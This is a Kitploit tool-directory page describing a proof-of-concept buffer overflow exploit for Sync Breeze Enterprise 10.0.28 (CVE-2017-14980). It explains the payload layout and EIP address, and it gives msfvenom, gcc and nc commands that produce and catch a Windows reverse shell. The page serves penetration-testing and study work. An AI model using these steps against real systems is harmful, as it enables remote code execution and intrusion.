Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2017-14980_syncbreeze_10.0.28_bof — Proof-of-concept buffer overflow exploit for Sync Breeze Enterprise v10.0.28 (CVE-2017-14980). Sends crafted HTTP POST payload to overwrite EIP and execute custom x86 shellcode for arbitrary code execution. | Kitploit
Tools/GitHubGitHub/lipeozyy/cve-2017-14980_syncbreeze_10.0.28_bof
Payload GenerationVulnerability AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingBinary Exploitation
GitHublipeozyy/cve-2017-14980_syncbreeze_10.0.28_bof

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2017-14980_syncbreeze_10.0.28_bof

Proof-of-concept buffer overflow exploit for Sync Breeze Enterprise v10.0.28 (CVE-2017-14980). Sends crafted HTTP POST payload to overwrite EIP and execute custom x86 shellcode for arbitrary code execution.

View Repository
231 year agoNot yet reviewed
Share

Exploit - CVE-2017-14980 - Sync Breeze Enterprise v10.0.28

This repository contains a proof-of-concept buffer overflow exploit (BOF) for Sync Breeze Enterprise version 10.0.28, targeting the vulnerability identified as CVE-2017-14980.

Description

The vulnerability exists due to improper input validation when processing the password field in a POST request to the /login endpoint.
An attacker can send an excessively long value in this field, which overwrites the EIP and allows arbitrary code execution.

This exploit sends a carefully crafted payload consisting of:

  • 520 bytes of filler ('A')
  • 4 bytes to overwrite the EIP
  • A 20-byte NOP sled
  • A Windows x86 shellcode, which can be customized to execute arbitrary commands

How it Works

  1. The exploit constructs a malicious buffer containing the embedded shellcode.
  2. It sends an HTTP POST request to the vulnerable server with the payload in the password field.
  • While processing the request, the application overwrites the instruction pointer (EIP) and executes the attacker-supplied shellcode.
  • Requirements

    • A C compiler (e.g., gcc)
    • Network access to a target running Sync Breeze Enterprise 10.0.28
    • Adjustment of the EIP address (\x83\x0C\x09\x10) and shellcode if necessary

    Example shellcode generation with msfvenom:

    root@kitploit:~
    msfvenom -p windows/shell_reverse_tcp LHOST=<YOUR_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c
    
    root@kitploit:~
    gcc exploit.c -o exploit
    ./exploit
    
    
    root@kitploit:~
    nc -nlvp 4444
    
    Download Tool